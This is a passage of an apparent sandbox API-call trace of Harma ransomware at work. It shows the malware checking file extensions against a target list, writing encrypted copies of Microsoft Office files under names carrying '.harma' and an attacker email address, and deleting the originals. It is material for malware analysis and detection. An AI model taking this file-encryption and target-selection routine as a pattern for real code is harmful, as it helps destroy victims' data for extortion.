lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0157.879] SetEndOfFile (hFile=0x388) returned 1 [0157.879] CloseHandle (hObject=0x388) returned 1 [0157.879] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.879] SetEndOfFile (hFile=0x20c) returned 1 [0157.881] CloseHandle (hObject=0x20c) returned 1 [0157.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 1 [0157.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.882] lstrlenW (lpString=".doc") returned 4 [0157.882] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.883] lstrlenW (lpString=".docx") returned 5 [0157.883] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.883] lstrlenW (lpString=".pdf") returned 4 [0157.883] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString=".xls") returned 4 [0157.883] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString=".xlsx") returned 5 [0157.883] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.883] lstrlenW (lpString=".ppt") returned 4 [0157.883] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.883] lstrlenW (lpString=".zip") returned 4 [0157.883] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString=".rar") returned 4 [0157.883] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString=".bz2") returned 4 [0157.883] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.883] lstrlenW (lpString=".7z") returned 3 [0157.883] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.883] lstrlenW (lpString=".dbf") returned 4 [0157.883] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.883] lstrlenW (lpString=".1cd") returned 4 [0157.883] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.883] lstrlenW (lpString=".jpg") returned 4 [0157.883] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString=".doc") returned 4 [0157.884] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.884] lstrlenW (lpString=".docx") returned 5 [0157.884] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.884] lstrlenW (lpString=".pdf") returned 4 [0157.884] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.884] lstrlenW (lpString=".xls") returned 4 [0157.884] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.884] lstrlenW (lpString=".xlsx") returned 5 [0157.884] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.884] lstrlenW (lpString=".ppt") returned 4 [0157.884] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString=".zip") returned 4 [0157.884] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.884] lstrlenW (lpString=".rar") returned 4 [0157.884] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.884] lstrlenW (lpString=".bz2") returned 4 [0157.884] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.884] lstrlenW (lpString=".7z") returned 3 [0157.884] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString=".dbf") returned 4 [0157.884] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString=".1cd") returned 4 [0157.884] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0157.884] lstrlenW (lpString=".jpg") returned 4 [0157.884] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.885] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0157.885] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0157.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.886] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=89432) returned 1 [0157.886] CloseHandle (hObject=0x20c) returned 1 [0157.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll")) returned 0x20 [0157.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.887] lstrlenW (lpString=".doc") returned 4 [0157.887] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.887] lstrlenW (lpString=".docx") returned 5 [0157.887] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0157.887] lstrlenW (lpString=".pdf") returned 4 [0157.887] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.887] lstrlenW (lpString=".xls") returned 4 [0157.887] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.887] lstrlenW (lpString=".xlsx") returned 5 [0157.887] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0157.887] lstrlenW (lpString=".ppt") returned 4 [0157.887] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.887] lstrlenW (lpString=".zip") returned 4 [0157.888] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString=".rar") returned 4 [0157.888] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString=".bz2") returned 4 [0157.888] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.888] lstrlenW (lpString=".7z") returned 3 [0157.888] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.888] lstrlenW (lpString=".dbf") returned 4 [0157.888] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.888] lstrlenW (lpString=".1cd") returned 4 [0157.888] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.888] lstrlenW (lpString=".jpg") returned 4 [0157.888] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.888] lstrlenW (lpString=".doc") returned 4 [0157.888] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString=".docx") returned 5 [0157.888] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0157.888] lstrlenW (lpString=".pdf") returned 4 [0157.888] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString=".xls") returned 4 [0157.888] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.888] lstrlenW (lpString=".xlsx") returned 5 [0157.888] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0157.888] lstrlenW (lpString=".ppt") returned 4 [0157.888] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.889] lstrlenW (lpString=".zip") returned 4 [0157.889] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.889] lstrlenW (lpString=".rar") returned 4 [0157.889] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.889] lstrlenW (lpString=".bz2") returned 4 [0157.889] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.889] lstrlenW (lpString=".7z") returned 3 [0157.889] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.889] lstrlenW (lpString=".dbf") returned 4 [0157.889] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.889] lstrlenW (lpString=".1cd") returned 4 [0157.889] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0157.889] lstrlenW (lpString=".jpg") returned 4 [0157.889] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.889] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.889] lstrlenW (lpString="MSTORE.HXS") returned 10 [0157.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.890] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=389716) returned 1 [0157.890] CloseHandle (hObject=0x20c) returned 1 [0157.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 0x20 [0157.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.890] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.890] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.891] GetLastError () returned 0x0 [0157.891] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x5f254, lpOverlapped=0x0) returned 1 [0157.947] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x5f260, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x5f260, lpOverlapped=0x0) returned 1 [0158.447] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.447] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.447] SetEndOfFile (hFile=0x388) returned 1 [0158.447] CloseHandle (hObject=0x388) returned 1 [0158.448] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.448] SetEndOfFile (hFile=0x20c) returned 1 [0158.460] CloseHandle (hObject=0x20c) returned 1 [0158.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 1 [0158.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.462] lstrlenW (lpString=".doc") returned 4 [0158.462] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.462] lstrlenW (lpString=".docx") returned 5 [0158.462] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0158.462] lstrlenW (lpString=".pdf") returned 4 [0158.462] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.462] lstrlenW (lpString=".xls") returned 4 [0158.462] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.462] lstrlenW (lpString=".xlsx") returned 5 [0158.462] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0158.462] lstrlenW (lpString=".ppt") returned 4 [0158.462] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.462] lstrlenW (lpString=".zip") returned 4 [0158.462] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.462] lstrlenW (lpString=".rar") returned 4 [0158.462] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.462] lstrlenW (lpString=".bz2") returned 4 [0158.462] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.462] lstrlenW (lpString=".7z") returned 3 [0158.463] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.463] lstrlenW (lpString=".dbf") returned 4 [0158.463] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.463] lstrlenW (lpString=".1cd") returned 4 [0158.463] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.463] lstrlenW (lpString=".jpg") returned 4 [0158.463] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.463] lstrlenW (lpString=".doc") returned 4 [0158.463] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.463] lstrlenW (lpString=".docx") returned 5 [0158.463] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0158.463] lstrlenW (lpString=".pdf") returned 4 [0158.463] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.463] lstrlenW (lpString=".xls") returned 4 [0158.463] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.463] lstrlenW (lpString=".xlsx") returned 5 [0158.463] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0158.464] lstrlenW (lpString=".ppt") returned 4 [0158.464] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.464] lstrlenW (lpString=".zip") returned 4 [0158.464] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.464] lstrlenW (lpString=".rar") returned 4 [0158.464] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.464] lstrlenW (lpString=".bz2") returned 4 [0158.464] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.464] lstrlenW (lpString=".7z") returned 3 [0158.464] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.465] lstrlenW (lpString=".dbf") returned 4 [0158.465] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.465] lstrlenW (lpString=".1cd") returned 4 [0158.465] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0158.465] lstrlenW (lpString=".jpg") returned 4 [0158.465] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.465] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0158.465] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0158.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.466] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114560) returned 1 [0158.466] CloseHandle (hObject=0x20c) returned 1 [0158.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 0x20 [0158.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.467] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.468] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.469] GetLastError () returned 0x0 [0158.469] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1bf80, lpOverlapped=0x0) returned 1 [0158.473] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1bf90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1bf90, lpOverlapped=0x0) returned 1 [0158.476] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.476] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0158.477] SetEndOfFile (hFile=0x388) returned 1 [0158.477] CloseHandle (hObject=0x388) returned 1 [0158.477] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.477] SetEndOfFile (hFile=0x20c) returned 1 [0158.563] CloseHandle (hObject=0x20c) returned 1 [0158.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 1 [0158.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.669] lstrlenW (lpString=".doc") returned 4 [0158.669] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.669] lstrlenW (lpString=".docx") returned 5 [0158.669] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.684] lstrlenW (lpString=".pdf") returned 4 [0158.684] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString=".xls") returned 4 [0158.684] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString=".xlsx") returned 5 [0158.684] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.684] lstrlenW (lpString=".ppt") returned 4 [0158.684] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.684] lstrlenW (lpString=".zip") returned 4 [0158.684] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString=".rar") returned 4 [0158.684] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString=".bz2") returned 4 [0158.684] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString=".7z") returned 3 [0158.684] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.684] lstrlenW (lpString=".dbf") returned 4 [0158.684] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.684] lstrlenW (lpString=".1cd") returned 4 [0158.684] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.684] lstrlenW (lpString=".jpg") returned 4 [0158.685] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString=".doc") returned 4 [0158.685] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".docx") returned 5 [0158.685] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.685] lstrlenW (lpString=".pdf") returned 4 [0158.685] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".xls") returned 4 [0158.685] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".xlsx") returned 5 [0158.685] 